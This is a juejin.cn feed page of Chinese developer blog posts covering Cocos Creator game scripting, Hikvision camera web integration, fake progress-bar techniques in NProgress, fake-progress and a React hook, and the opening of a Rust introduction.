随着游戏的开始和玩家的点击, 其实就是元素的位置发生改变而已.

我们只要通过脚本控制元素的位置. 这些位置和具体游戏场景相关, cc 也会提供常用工具库.

另外一个是结算, 判断分数高低, 或者数组比较, 最多通过位置计算碰撞, 来判断游戏结果.

可以看到这些计算都是在脚本中进行的, 也都是比较简单的数据结构或者数学公式.

在游戏场景外, 一些菜单, 设置的界面就和网页差不多了.

cc 系统介绍

我看了一个视频, 自己写了2个demo, 简单总结下 cc 的系统.

总的来说, cc 像是个低代码平台.

编辑器界面

编辑器就是典型的低代码.

  • 场景界面. 就是把元素拖拖拽拽的地方.
  • 资源列表. 放代码和图片的地方, 就是网页开发的src目录. 资源的类型值得下文展开.
  • 节点层级. 在编辑场景的时候, 场景通常是有多个节点的, 节点之间有层级关系便于维护, 所以有个界面展示.
  • 节点属性. 在场景界面里选中节点, 肯定是可以编辑这个节点的属性的, 大小/位置什么的.

这些元素一看就是低代码了, 应该是低代码借鉴了这些游戏引擎的.

这些面板都是可以拖动位置, 或者合并成tab的, 很方便.

资源类型介绍

上面说到资源, 资源类型还挺多的. 这里介绍一点我用到的.

  • ts文件, 图片文件.

脚本文件和图片文件都是用来拖到节点里, 和节点绑定的.

  • 场景.

应该是 cc 的核心了. 从文件看来, 就是个 json. 所以拖拖拽拽的结果就是修改 json. 然后通过 json schema 执行渲染或打包.

场景是由节点组成的. 在场景里新建节点并嵌套, 来构建游戏场景.

节点的种类是很多的, 可以插入图片变为元素, 也可以绑定脚本, 作为一个"虚拟节点", 只是为了维护方便.

场景有必须的节点是 canvas 和 camera.

  • prefab.

可以理解为"组件". 在场景中编辑了一些节点, 如果觉得可以复用, 直接把整个节点拖到资源列表里, 就会产生一个 prefab. 使用的时候拖动这个 prefab 到场景, 就会产生一个实例了.

更多的应该是用脚本批量创建.

  • 动画.

其实和ts文件与图片文件一样, 是关联到节点上的. 但他是 cc 特有的, 可以在 cc 里编辑动画内容, 可以对各个属性做帧动画, 也可以导入动画软件做的动画.

开发流程

我写了2个算能跑的项目, 来说说开发的过程.

  1. 资源目录下新建一些文件夹: scripts, imgs, animation, scene.
  2. 主要开发就是编辑场景. 在场景里添加节点, 然后给节点贴图, 从"资源列表"把资源拖到"节点属性面板"就好了, 容易.

我的节点很简单, 就是玩家角色, 和背景.

  1. 建立个空节点, 写游戏逻辑. 具体操作是新建个 ts 文件, 然后拖到这个节点属性上.
  2. 游戏逻辑需要操作的内容, 包括动画, 都以"拖动"的方式关联到"节点属性面板"上.

这样就写好一个游戏了.

游戏逻辑开发是和 html5 游戏一样的, 最后一小节我再赘述下吧.

游戏逻辑编写

游戏逻辑在 ts 的脚本文件中编写.

所有新建的 ts 文件都会有一个初始模板. 内容是export class XXX extends cc.Component {}.

这个类有2个生命周期方法. start()update().

update()方法的参数deltatime是离上一帧的时间, 不了解的去看下 h5 游戏的执行就好了.

游戏逻辑一定涉及到元素, 只要在脚本文件里声明一个属性, 就能在节点属性面板上看到一个属性.

把这个属性需要控制的元素拖过去就行.

然后元素节点也可以绑定脚本. 这个脚本可以通过this.node提供的 api 来操作元素的位置.

元素节点一般会绑定动画, 也需要把动画声明在属性里, 然后从资源列表把动画拖动到自己的节点属性面板上, 就可以在脚本里调用动画了.

我现在理解的层级是这样的:

  • 总脚本gameControl写在单独节点里. 写游戏逻辑与结算判断.
  • 会动的元素, 自己绑定节点, 写一些方法供总脚本调用.
  • 编辑一些动画, 供上一步"会动的元素"调用. 一般是和元素位置的移动同时调用的.

贴一些代码

这里分享个具体的demo代码. demo内容很简单, 按方向键角色就会在地图上走路.

走路的时候会播放一个帧动画, 是从微信表情里导出的20个png.

脚本文件只有2个. 一个是gameControl游戏控制, 只做了监听键盘事件, 并调用player脚本的对应方法.

另一个player脚本写了对应的方法, 改变一些参数, 在update()方法根据参数来设置角色的位置.

gameControl.ts

import { _decorator, Component, Node, input, Input, EventKeyboard } from 'cc'
const { ccclass, property } = _decorator

import { player } from './player'

@ccclass('gameControl')
export class gameControl extends Component {
@property(player)
public player: player = null

start() {
input.on(Input.EventType.KEY_DOWN, (event) => {
switch (event.keyCode) {
case 37:
this.player.left()
break
case 38:
this.player.up()
break
case 39:
this.player.right()
break
case 40:
this.player.down()
break

}
})
}

update(deltaTime: number) {

}
}

player.ts

import { _decorator, Component, Node, Animation, tween, Vec3, math } from 'cc'
const { ccclass, property } = _decorator

@ccclass('player')
export class player extends Component {

@property(Animation)
anim: Animation = null

@property(Node)
lulu: Node = null

private direction = new Vec3(1, 0, 0)
private isMoving = false
private movePeriod = 0

start() {

}

update(deltaTime: number) {
if (this.isMoving) {
if (this.movePeriod < 1) {
let target = this.node.position
Vec3.add(target, this.node.position, this.direction)
this.node.setPosition(target)
this.movePeriod += deltaTime
} else {
this.isMoving = false
}
}
}

left() {
if (!this.isMoving) {
this.lulu.setRotationFromEuler(0, 0, 180)
this.direction = new Vec3(-1, 0, 0)
this.startMove()
}
}

right() {
if (!this.isMoving) {
this.lulu.setRotationFromEuler(0, 0, 0)
this.direction = new Vec3(1, 0, 0)
this.startMove()
}
}

up() {
if (!this.isMoving) {
this.lulu.setRotationFromEuler(0, 0, 90)
this.direction = new Vec3(0, 1, 0)
this.startMove()
}
}

down() {
if (!this.isMoving) {
this.lulu.setRotationFromEuler(0, 0, 270)
this.direction = new Vec3(0, -1, 0)
this.startMove()
}
}

startMove() {
this.anim.play()
this.isMoving = true
this.movePeriod = 0
}
}

另外做的demo是跟着cocos creator 文档的2d游戏做的. 有兴趣的也可以跟我一样, 先照着这个做一遍, 再自己新建个空项目自己操作.

最后

我认为 cocos creator 对 web 开发者来说真的是非常好上手了.

我认为小游戏的设计分为2个吧. 核心游戏场景, 与, 游戏运营.

其实核心游戏场景都不复杂的, 那怎么能让玩家一直玩呢.

其实就是策划运营, 操作一些数据, 让每次玩同一个场景, 看到不同的数字, 和不同的皮肤.

用户就会为了这些数字(pay for ability), 和皮肤(pay for love)来付费了.

我认为游戏脚本不难. 难在2点:

  1. 游戏的完整度, 需要美术和动画, 程序只能控制角色的位置, 加上动画才让人有操作角色的感觉. 精美的游戏场景也能让玩家觉得真实.
  2. 策划: 数值系统, 货币系统, 奖励系统, 活动这些. 让玩家重复玩同一个场景几百遍还觉得自己在成长, 真是牛逼.


作者:nujnewnehc
来源:juejin.cn/post/7456805812045725734
收起阅读 »

海康摄像头 web 对接

web
真的烦躁,一个月拿着死工资,每天写着增删改查,不知道以后能做什么,有时候真的想离职,进广东电子厂.... 这段时间,XXXX 要加一个海康监控,哎。 苦命开发 从官网下载下来的web包 \webs\codebase 目录中有,第一个是插件,必须安装的, 后面...
继续阅读 »

真的烦躁,一个月拿着死工资,每天写着增删改查,不知道以后能做什么,有时候真的想离职,进广东电子厂....


这段时间,XXXX 要加一个海康监控,哎。


苦命开发


从官网下载下来的web包


image.png


\webs\codebase 目录中有,第一个是插件,必须安装的, 后面两个JS文件是开发必要的。还要一个 JQ的,它内部使用了jq


image.png


初始化插件


引入了提供的jS后,就可以开始牛马了。。。。


首先注册插件,并检查更新


因为我这是4个摄像头,所以窗口是 2 * 2


WebVideoCtrl.I_InitPlugin 是用于初始化插件,成功回调是cbInitPluginComplete


WebVideoCtrl.I_CheckPluginVersion 用于检查更新。


在自动登录这里,我准备了数组,包含登录端口密码等信息,建议每一个之后都要等1秒。多个账号登录,插件只加载一次即可。


init() {
// 这里的代码会在文档完全加载后执行
WebVideoCtrl.I_InitPlugin({
iWndowType: 2, // 设置分屏类型为 2*2,显示 4 个窗口
bWndFull: true, // 支持单窗口双击全屏
bDebugMode: true, // 关闭调试模式
cbInitPluginComplete: async () => {
console.log("插件初始化完成")
try {
// 加载插件
await WebVideoCtrl.I_InsertOBJECTPlugin("divPlugin")
// 检查插件是否最新
const bFlag = await WebVideoCtrl.I_CheckPluginVersion()
if (bFlag) {
alert("检测到新的插件版本,双击开发包目录里的HCWebSDKPlugin.exe升级!")
}

for (const item of this.channel) {
// 自动登陆
this.clickLogin(item)
await new Promise(resolve => setTimeout(resolve, 1000))
}
} catch {
alert("插件初始化失败,请确认是否已安装插件;如果未安装,请双击开发包目录里的HCWebSDKPlugin.exe安装!")
}
},
iTopHeight: 0 // 插件窗口的最高高度
})
}

实现登录


WebVideoCtrl.I_Login 是登录接口



  • 参数1:ip地址

  • 参数2:1 是http,2 是https

  • 参数3:端口

  • 参数4:平台账户

  • 参数5:平台密码


// 登陆
clickLogin(item) {
WebVideoCtrl.I_Login(item.ip, 1, item.port, 'admin', 'admin123', {
timeout: 3000,
success: () => {
console.log('登陆成功')
setTimeout(() => {
setTimeout(() => {
this.getChannelInfo(item)
}, 1000)
}, 10)
},
error: (oError) => {
if (this.ERROR_CODE_LOGIN_REPEATLOGIN === oError.errorCode) {
console.log('已登录过!')
} else {
console.log(" 登录失败!", oError.errorCode, oError.errorMsg)

}
}
})
}

获取通道信息


getChannelInfo 函数需要传递一个当前控制摄像头的信息对象。


模拟通道接口:WebVideoCtrl.I_GetAnalogChannelInfo


这里会使用 jq的一些方法,会对获取的xml元素进行遍历,并将获取的信息,加入到数组集合中,进行预览视频。



  • id:获取的通道号是预览的必要字段。

  • 数字通道:支持高清甚至超高清分辨率,如 1080P、2K、4K 等,但是对网络要求较高

  • 零通道:无法播放,坏掉了。

  • 模拟通道:成本小,实时性高。


// 初始化通道
getChannelInfo(item) {
// 模拟通道
WebVideoCtrl.I_GetAnalogChannelInfo(item.ip, {
success: (xmlDoc) => {
const oChannels = $(xmlDoc).find('VideoInputChannel')
$.each(oChannels, (i, channelObj) => {
let id = $(channelObj).find('id').eq(0).text(),
name = $(channelObj).find('name').eq(0).text()
if ("" === name) {
name = "Camera " + (i < 9 ? "0" + (i + 1) : (i + 1))
}
const ch = this.channel.find(arr => arr.ip === item.ip)
ch.channelId = id
ch.name = name
})
console.log(item.ip + '获取模拟通道成功!')

},
error: function (oError) {
console.log(ip + '获取模拟通道失败!', oError.errorCode, oError.errorMsg)

}
})
// 数字通道
WebVideoCtrl.I_GetDigitalChannelInfo(item.ip, {
success: function () {
// console.log(item.ip + '获取数字通道成功!')
},
error: function (oError) {
// console.log(item.ip + '获取数字通道失败!', oError.errorCode, oError.errorMsg)
}
})
// 零通道
WebVideoCtrl.I_GetZeroChannelInfo(item.ip, {
success: function () {
// console.log(item.ip + '获取零通道成功!')
},
error: function (oError) {
// console.log(item.ip + '获取零通道失败!', oError.errorCode, oError.errorMsg)
}
})
// 直接预览
this.clickStartRealPlay(item)
}

预览窗口


clickStartRealPlay 函数需要传递一个当前控制摄像头的信息对象。


WebVideoCtrl.I_GetWindowStatus 可以获取窗口的状态,比如传递 0 ,可以查看 第一个窗口的状态。返回值如果不是null,表示在播放了。


WebVideoCtrl.I_Stop 用于关闭当前播放的窗口,参数 iWndIndex 用于控制关闭的那个窗口,默认会根据当前选中的窗口。


WebVideoCtrl.I_StartRealPlay 预览视频



  • 参数一:ip地址 + 下划线 + 端口,拼接的字符串,比如:'192.168.1.101_80'

  • 参数二:是码流,1 主码流,2 子码流

  • 参数三:是前面通过通道获取的通道ID

  • 参数四:默认是false,表示是否播放零通道

  • 参数五:RTSP端口号


// 预览窗口
clickStartRealPlay(item) {
const ips = item.ip + '_' + item.port
// 获取窗口的状态
const oWndInfo = WebVideoCtrl.I_GetWindowStatus(item.g_iWndIndex)
const iRtspPort = ''
const iChannelID = item.channelId
const bZeroChannel = item.zeroType
const szInfo = ''

const startRealPlay = function () {
WebVideoCtrl.I_StartRealPlay(ips, {
iWndIndex: item.g_iWndIndex,
iStreamType: 1,
iChannelID: iChannelID,
bZeroChannel: bZeroChannel,
iPort: iRtspPort,
success: function () {
console.log(ips + '开始预览成功!')
},
error: function (oError) {
console.log(ips + " 开始预览失败!", oError.errorCode, oError.errorMsg)
}
})
}

if (oWndInfo != null) { // 已经在播放了,先停止
WebVideoCtrl.I_Stop({
success: function () {
startRealPlay()
}
})
} else {
startRealPlay()
}
}

摄像头功能控制


接口:WebVideoCtrl.I_PTZControl



  • 参数一:操作类型(1-上,2-下,3-左,4-右,5-左上,6-左下,7-右上,8-右下,9-自转,10-调焦+, 11-调焦-, 12-F聚焦+, 13-聚焦-, 14-光圈+, 15-光圈-

  • 参数二:true 停止,false 启动

  • 参数三:对象:iWndIndex 窗口号,默认为当前选中窗口,iPTZSpeed 云台速度,默认为4


<div class="jiu" :style="{display: isOpen ? 'flex': 'none'}">
<div class="remote-control">
<el-tooltip content="向左上转动" placement="top-start" effect="light">
<div class="button top-left" @mousedown="mouseDownPTZControl(5, false)"
@mouseup="mouseDownPTZControl(1, true)">
</div>
</el-tooltip>
<el-tooltip content="向上转动" placement="top-start" effect="light">
<div class="button" @mousedown="mouseDownPTZControl(1, false)"
@mouseup="mouseDownPTZControl(1, true)">

<i class="iconfont icon-shangjiantou1"></i>
</div>
</el-tooltip>
<el-tooltip content="向右上转动" placement="top-start" effect="light">
<div class="button top-right" @mousedown="mouseDownPTZControl(7, false)"
@mouseup="mouseDownPTZControl(1, true)">
</div>
</el-tooltip>
<el-tooltip content="向左转动" effect="light">
<div class="button" @mousedown="mouseDownPTZControl(3, false)"
@mouseup="mouseDownPTZControl(1, true)">

<i class="iconfont icon-zuojiantou"></i>
</div>
</el-tooltip>
<el-tooltip content="开启自动旋转" effect="light">
<div class="button center" @click="mouseDownPTZControl(9, false)">
<i class="iconfont icon-zidongxuanzhuan"></i>
</div>
</el-tooltip>
<el-tooltip content="向右转动" effect="light">
<div class="button" @mousedown="mouseDownPTZControl(4, false)"
@mouseup="mouseDownPTZControl(1, true)">

<i class="iconfont icon-youjiantou"></i>
</div>
</el-tooltip>
<el-tooltip content="向左下转动" effect="light">
<div class="button bottom-left" @mousedown="mouseDownPTZControl(6, false)"
@mouseup="mouseDownPTZControl(1, true)">
</div>
</el-tooltip>
<el-tooltip content="向下转动" effect="light">
<div class="button" @mousedown="mouseDownPTZControl(2, false)"
@mouseup="mouseDownPTZControl(1, true)">

<i class="iconfont icon-xiajiantou1"></i>
</div>
</el-tooltip>
<el-tooltip content="向右下转动" effect="light">
<div class="button bottom-right" @mousedown="mouseDownPTZControl(8, false)"
@mouseup="mouseDownPTZControl(1, true)">
</div>
</el-tooltip>
</div>
</div>
<!-- 下方操作按钮 -->
<div class="div-group" :style="{display: isOpen ? 'block': 'none'}">
<div style="display: flex; justify-content:space-around;">
<el-button-group>
<el-tooltip content="焦距变大" placement="top" effect="light">
<div class="btn-groups" @mousedown="mouseDownPTZControl(10, false)" @mouseup="mouseDownPTZControl(11, true)">
<i class="iconfont icon-fangdajing-jia"></i>
</div>
</el-tooltip>
<el-tooltip content="焦距变小" placement="top" effect="light">
<div class="btn-groups" @mousedown="mouseDownPTZControl(11, false)" @mouseup="mouseDownPTZControl(11, true)">
<i class="iconfont icon-fangdajing-jian"></i>
</div>
</el-tooltip>
</el-button-group>
<el-button-group>
<el-tooltip content="焦点前调" placement="top" effect="light">
<div class="btn-groups" @mousedown="mouseDownPTZControl(12, false)" @mouseup="mouseDownPTZControl(12, true)">
<i class="iconfont icon-jiaodianqiantiao"></i>
</div>
</el-tooltip>
<el-tooltip content="焦点后调" placement="top" effect="light">
<div class="btn-groups" @mousedown="mouseDownPTZControl(13, false)" @mouseup="mouseDownPTZControl(12, true)">
<i class="iconfont icon-jiaodianhoutiao"></i>
</div>
</el-tooltip>
</el-button-group>
<!-- <el-button-group>
<el-tooltip content="光圈扩大" placement="top" effect="light">
<el-button>
<i class="iconfont icon-guangquankuoda"></i>
</el-button>
</el-tooltip>
<el-tooltip content="光圈缩小" placement="top" effect="light">
<el-button>
<i class="iconfont icon-guangquansuoxiao"></i>
</el-button>
</el-tooltip> -->

</el-button-group>
</div>
</div>

mouseDownPTZControl(iPTZIndex, selection) {
// 获取窗口状态
const oWndInfo = WebVideoCtrl.I_GetWindowStatus(this.item.g_iWndIndex)
if (oWndInfo == null) {
return
}

// 如果是零通道,直接返回
if (this.item.zeroType) {
return
}
let iPTZSpeed = selection ? 0 : 4
// 表示开启了自动
if (9 === iPTZIndex && this.g_bPTZAuto) {
// 将速度置为 0
iPTZSpeed = 0

} else {
this.g_bPTZAuto = false
}

// 控制云平台
WebVideoCtrl.I_PTZControl(iPTZIndex, selection, {
iWndIndex: this.item.g_iWndIndex, iPTZSpeed,
success: (xmlDoc) => {
if (9 == iPTZIndex) {
this.g_bPTZAuto = !this.g_bPTZAuto
}
},
error: function (oError) {
console.log(oWndInfo.szDeviceIdentify + " 开启云台失败!", oError.errorCode, oError.errorMsg)
}
})

}

到此就结束了,海康这个还不错,就是没有vue webpack的包,在webpack 的环境下,是会报错的。


作者:哪里的破水瓶
来源:juejin.cn/post/7449644683330240549
收起阅读 »

我:偷偷告诉你,我们项目里的进度条,全都是假的!🤣 产品:???😲

web
扯皮 最近接到了一个需求:前端点击按钮触发某个任务并开启轮询获取任务进度,直至 100% 任务完成后给予用户提示 这个业务场景还挺常见的,但是突然上周后端联系到我说现在的效果有点差,之前都是小任务那进度条展示还挺不错的,现在有了一些大任务且会存在排队阻塞的情况...
继续阅读 »

扯皮


最近接到了一个需求:前端点击按钮触发某个任务并开启轮询获取任务进度,直至 100% 任务完成后给予用户提示


这个业务场景还挺常见的,但是突然上周后端联系到我说现在的效果有点差,之前都是小任务那进度条展示还挺不错的,现在有了一些大任务且会存在排队阻塞的情况,就导致视图上经常卡 0% 排队,用户体验太差了,问能不能在刚开始的时候做个假进度先让进度条跑起来😮


因此就有了这篇文章,简单做一下技术调研以及在项目中的应用


正文


其实假进度条也不难做,无非是轮询的时候我们自己做一个随机的自增,让它卡到 99% 等待后端真实进度完成后再结束


只不过还是想调研一下看看市面上有没有一些成熟的方案并去扒一下它们的源码🤓


NProgress


首先当我听到这里的需求后第一时间想到的就是它:rstacruz/nprogress: For slim progress bars like on YouTube, Medium, etc


记得大学期间做的一些中后台系统基本都少不了路由跳转时的顶部进度条加载,那时候就有了解到 NProgress,它的使用方式也很简单,完全手控:NProgress: slim progress bars in JavaScript,去文档里玩一下就知道了


视图呈现的效果就是如果你不手动结束那它就会一直缓慢前进卡死 99% ,挺符合我们这里的需求,可以去扒一下它内部进度计算相关的逻辑


NProgress 的内容实际上比较少,源码拉下来可以看到主要都在这一个 JS 文件里了:


image.png


需要注意的是我们看的是这个版本:rstacruz/nprogress at v0.2.0,master 分支与 npm 安装的 0.2.0 内部实现还是有些差别的


我们这里不关注它的样式相关计算,主要来看看对进度的控制,直奔 start 方法:


image.png


还是比较清晰的,这里的 status 就是内部维护的进度值,默认为 null,所以会执行 NProgress.set,我们再来看看 set 方法:


image.png


set 方法里有一大堆设置动画样式逻辑都被我剪掉了,关于进度相关的只有这些。相当于利用 clamp 来做一个夹层,因为初始进来的 n 为 null,所以经过处理后进度变为 0.08


再回到 start 的逻辑,其中 work 就是内部轮询控制进度自增的方法了,初始配置 trickle 为 true 代表自动开启进度自增,由于进度条在 set 方法中已经设置为 0.08,所以走到后面的 NProgress.trickle 逻辑


image.png


看来这里就是进度控制的核心逻辑了, trickle 里主要调用了 inc,在 trickle 中给 inc 传递了一个参数:Math.random() * Settings.trickleRate,显然这里范围是:0 <= n < 0.02


而在 inc 中,如果传递的 amount 有值的话那就每次以该值进行自增,同时又使用 clamp 将最大进度卡在 0.994


最后再调用 set 方法,set 里才是更新进度和视图进度条的方法,涉及到进度更新时都需要回到这里


当然 NProgress.inc 也可以手动调用,还对未传参做了兼容处理:



amount = (1 - n) * clamp(Math.random() * n, 0.1, 0.95)



即根据当前进度 n 计算剩余进度,再随机生成自增值


再来看 done 方法,它就比较诡异了:


image.png


按理来说直接将进度设置为 1 就行,但它以链式调用 inc 再调用 set,相当于调用了两次 set


而这里 inc 传参又没什么规律性,推测是为了 set 中的样式处理,感兴趣的可以去看看那部分逻辑,还挺多的...😶


一句话总结一下 NProgress 的进度计算逻辑:随机值自增,最大值限制


但是因为 NProgress 与进度条样式强绑定,我们肯定是没法直接用的


fake-progress


至于 fake-progress 则是我在调研期间直接搜关键词搜出来的😶:piercus/fake-progress: Fake a progress bar using an exponential progress function


很明显看介绍就是干这个事的,而且还十分专业,引入数学函数展示假进度条效果,具有说服力:


image.png


所以我们项目中其实就是用的这个包,只不过和 NProgress 类似,两个包都比较老了,瞟一眼源码发现都是老 ES5 了🤐


因为我们项目中用的是 React,这里给出 React 的 demo 吧,为了编写方便使用了几个 ahooks 里的 hook:


image.png


其实使用方法上与 NProgress 都类似,不过两者都属于通用的工具库不依赖其他框架,所以像视图渲染都需要自己手动来做


注意实例化中的传参 timeConstant,某种意义上来讲这个值就相当于“进度增长的速率”,但也不完全等价,我们来看看源码


因为不涉及到样式,fake-progress 源码更简单,核心就在这里:


image.png


下方的数学公式就是介绍图中展示的,只能说刚看到这部分内容是真的是死去的数学只是突然又开始攻击我😅,写了那么多函数,数学函数是啥都快忘了


我们来简单分析一下这个函数 1 - Math.exp(-1 * x),exp(x)= exe^xexe^x 的图像长这样,高中的时候见的太多了:


image.png


那假如这里改成 exp(-x) 呢?有那味了,以前应该是有一个类似的公式 f(x)f(x)f(x)f(-x) 图像效果是关于 y 轴对称,好像是有些特殊的不符合这个规律?🤔反正大部分都是满足的


image.png


OK,那我们继续进行转换,看看 -exp(-x) 的效果


同样有个公式 f(x)f(x)f(x)-f(x) 图像效果是关于 x 轴对称:


image.png


初见端倪,不知道你们有没有注意 -exp(-x) 最终呈现的图像是无限接近于 x 轴的,也就是 0:


image.png


那有了🤓,假如我再给它加个 1 呢?它不就无限接近于 1 了,即 -exp(-x) + 1,这其实就是 fake-progress 里公式的由来:
image.png


但你会发现如果 x 按 1 递增就很快进度就接近于 1 了,所以有了 timeConstant 配置项来控制 x 的增长,回看这个公式:1 - Math.exp(-1 * this._time / this.timeConstant)


this._time 是一直在增长的,而 this.timeConstant 作为分母如果被设置为一个较大的值,那可想而知进度增长会巨慢


所以 fake-progress 的核心原理是借助数学函数,以函数值无限接近于 1 来实现假进度条,但是这种实现有一个 bug,可以看我提的这个 issues,不过看这个包的更新时间感觉作者也不会管了😅:


bug: progress may reach 100% · Issue #7 · piercus/fake-progress


image.png


useFakeProgress


虽然我们现在项目中使用的是 fake-progress,但是个人感觉用起来十分鸡肋,而且上面的 bug 也需要自己手动兼容,因此萌生出自己封装一个 hook 的想法,让它更符合业务场景


首先我们确定一下进度计算方案,这里我毫不犹豫选择的是 NProgress 随机值增长方案,为什么?因为方便用户自定义


而且 NProgress 相比于 fake-progress 有一个巨大优势:手动 set 进度后仍然保持进度正常自动递增


这点在 fake-progress 中实现是比较困难的,因为你无法保证手动 set 的进度是在这个函数曲线上,相当于给出函数 y 值反推 x 值,根据反推的 x 值再进行递增,想想都麻烦


确定好方案后我们来看下入参吧,参考 NProgress 我定义了这几个配置项:


image.png


这里我简单解释一下 rerender 和 amount 配置:


实际上在封装这个 hook 的时候我一直在纠结这里的 progress 到底是 state 还是 ref,因为大多数场景下 hook 内部通过轮询定时器更新进度,而真实业务代码中也会开启定时器去轮询监听业务接口的


所以如果写死为 state,那这个场景 hook 内部的每次更新 render 是没必要的,但是假如用户又想只是使用假进度展示,没有后端业务接口呢?


思来想去其实完全可以放权给用户进行配置,因为 state = ref + update,统一使用 ref,用户配置 rerender 时我们在每次更新时 update 即可


至于 amount 我是希望放权给用户进行自定义递增值,你可以配置成一个固定值也可以配置成随机值,更可以像 NProgress master 分支下这样根据当前进度来控制自增,反正以函数参数的形式能够拿到当前的 progress:


image.png


至于实现细节就不再讲述了,实际上就是轮询定时器没什么复杂的东西,直接上源码了:


import { useRef, useState } from "react";

interface Options {
minimun?: number;
maximum?: number;
speed?: number;
rerender?: boolean;
amount?: (progress: number) => number;
formatter?: (progress: number) => string;
onProgress?: (progress: number) => void;
onFinish?: () => void;
}

export function useFakeProgress(options?: Options): [
{ current: string },
{
inc: (amount?: number) => void;
set: (progress: number) => void;
start: () => void;
stop: () => void;
done: () => void;
reset: () => void;
get: () => number;
}
] {
const {
minimun = 0.08,
maximum = 0.99,
speed = 800,
rerender = false,
amount = (p: number) => (1 - p) * clamp(Math.random() * p, minimun, maximum),
formatter = (p: number) => `${p}`,
onProgress,
onFinish,
} = options || {};

const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const progressRef = useRef(0);
const progressDataRef = useRef(""); // formatter 后结果
const [, update] = useState({});

const clamp = (value: number, min: number, max: number) => Math.min(Math.max(value, min), max);

const setProgress = (p: number) => {
progressRef.current = p;
progressDataRef.current = formatter(p);
onProgress?.(p);
if (rerender) update({});
};

const work = () => {
const p = clamp(progressRef.current + amount(progressRef.current), minimun, maximum);
setProgress(p);
};

const start = () => {
function pollingWork() {
work();
timerRef.current = setTimeout(pollingWork, speed);
}

if (!timerRef.current) pollingWork();
};

const set = (p: number) => {
setProgress(clamp(p, minimun, maximum));
};

const inc = (add?: number) => {
set(progressRef.current + (add || amount(progressRef.current)));
};

const stop = () => {
if (timerRef.current) clearInterval(timerRef.current);
timerRef.current = null;
};

const reset = () => {
stop();
setProgress(0);
};

const done = () => {
stop();
setProgress(1);
onFinish?.();
};

return [
progressDataRef,
{
start,
stop,
set,
inc,
done,
reset,
get: () => progressRef.current,
},
];
}

这里需要补充一个细节,在返回值里使用的是 progressDataRef 是 formatter 后的结果为 string 类型,如果用户想要获取原 number 的 progress,可以使用最下面提供的 get 方法拿 progressRef 值


一个 demo 看看效果,感觉还可以:
image.png


fake-progress.gif


当然由于直接返回了 ref,为了防止用户篡改可以再上一层代理劫持,我们就省略了


这也算一个工具偏业务的 hook,可以根据自己的业务来进行定制,这里很多细节都没有补充只是一个示例罢了🤪


End


以上就是这篇文章的内容,记得上班之前还在想哪有那么多业务场景需要封装自定义 hook,现在发现真的是各种奇葩需求都可以封装,也算是丰富自己武器库了...


作者:討厭吃香菜
来源:juejin.cn/post/7449307011710894080
收起阅读 »

2025年,前端开发为什么一定要学习Rust?

web
引言Rust语言是一门现代系统编程语言,由Mozilla Research于2009年开始开发,Mozilla Research 是 Mozilla 基金会旗下的一个研究部门,专注于推动开放网络和创新技术的发展,Rust语言正是在 Mozilla Resear...
继续阅读 »

引言

Rust语言是一门现代系统编程语言,由Mozilla Research于2009年开始开发,Mozilla Research 是 Mozilla 基金会旗下的一个研究部门,专注于推动开放网络和创新技术的发展,Rust语言正是在 Mozilla Research 中孕育并发展的。

Rust 最早是 Mozilla 雇员 Graydon Hoare 的个人项目,在2006年开始了Rust语言的初步设计,Mozilla 随后投入资源,支持Rust的发展,并最终于2010年公开这个项目,2015年发布1.0版本。

以下引用自Rust 语言圣经

大家可能疑惑 Rust 为啥用了这么久才到 1.0 版本?与之相比,Go 语言 2009 年发布,却在 2012 年仅用 3 年就发布了 1.0 版本[^1]。

● 首先,Rust 语言特性较为复杂,所以需要全盘考虑的问题非常多;

● 其次,Rust 当时的参与者太多,七嘴八舌的声音很多,众口难调,而 Rust 开发团队又非常重视社区的意见;

● 最后,一旦 1.0 快速发布,那绝大部分语言特性就无法再被修改,对于有完美强迫症的 Rust 开发者团队来说,某种程度上的不完美是不可接受的。

因此,Rust 语言用了足足 6 年时间,才发布了尽善尽美的 1.0 版本。

大家知道 Rust 的作者到底因为何事才痛下决心开发一门新的语言吗?

说来挺有趣,在 2006 年的某天,作者工作到精疲力尽后,本想回公寓享受下生活,结果发现电梯的程序出 Bug 崩溃了,要知道在国外,修理工可不像在中国那样随时待岗,还要知道,他家在 20 多楼!

最后,他选择了妥协,去酒店待几天等待电梯的修理。

当然,一般人可能就这样算了,毕竟忍几天就过去了嘛。但是这名伟大的程序员显然也不是一般人,他面对害他流离失所的电梯拿起了屠龙宝刀 - Rust。

自此,劈开一个全新的编程世界。

深入了解Rust

为什么要创建Rust这门语言?

在 Rust 出现之前,系统级编程领域主要由 C 和 C++ 统治。虽然这两种语言在性能方面表现出色,但它们也存在一些固有的缺陷,促使了 Rust 的诞生。

什么是系统级编程语言?

简单来说,系统级编程语言用于开发操作系统、驱动程序、嵌入式系统、游戏引擎、数据库等对性能和硬件控制要求极高的软件。

有以下特性:

  • 硬件访问: 系统级语言需要能够直接访问硬件资源,直接操作硬件
  • 高性能: 系统级程序通常需要直接操作硬件,对性能要求非常高。因此,系统级语言通常具有高效的内存管理机制和优化的编译器,以生成高效的机器码。
  • 较强的类型系统和编译时检查:为了尽早发现潜在的错误,系统级语言通常具有较强的类型系统和编译时检查机制,以提高代码的可靠性和安全性。
  • 并发和并行: 现代计算机系统通常具有多核处理器,系统级程序需要能够有效地利用多核资源,实现并发和并行执行,以提高性能。
  • 内存控制: 系统级编程需要对内存进行精细的控制,包括内存分配、释放、布局等。一些系统级语言允许开发者直接操作内存地址,以实现更高的灵活性和效率

有哪些系统级编程语言?

  • C/C++

    无GC,性能高,内存不安全

  • Rust

    无GC,性能高,内存安全

  • Go

    有GC,性能不如Rust,安全性不如Rust。

  • Assembly Language(汇编语言)

    性能高,开发效率低

  • zig

    无GC,性能高,安全性不如Rust,发展初期

C/C++ 的缺陷

  • 内存安全问题: C/C++ 允许开发者手动管理内存,这虽然提供了灵活性,但也容易导致各种内存安全问题,如:
    • 空指针(Null Pointers): 访问未初始化的指针或空指针会导致程序崩溃。
    • 野指针(Wild Pointers): 指针变量没有被初始化。任何指针变量刚被创建时不会自动成为NULL指针,它的缺省值是随机的,它会乱指一气。所以,指针变量在创建的同时应当被初始化,要么将指针设置为NULL,要么让它指向合法的内存。。
    • 悬垂指针(Dangling Pointers): 指针指向曾经存在的对象,但该对象已经被释放,再次访问该指针会导致未定义行为,悬垂指针是野指针的一种。
    • 双重释放(Double Free): 释放同一块内存两次,导致崩溃或不可预测的行为。
    • 内存泄漏(Memory Leaks): 分配的内存没有被及时释放,导致内存占用不断增加,最终可能导致系统崩溃。
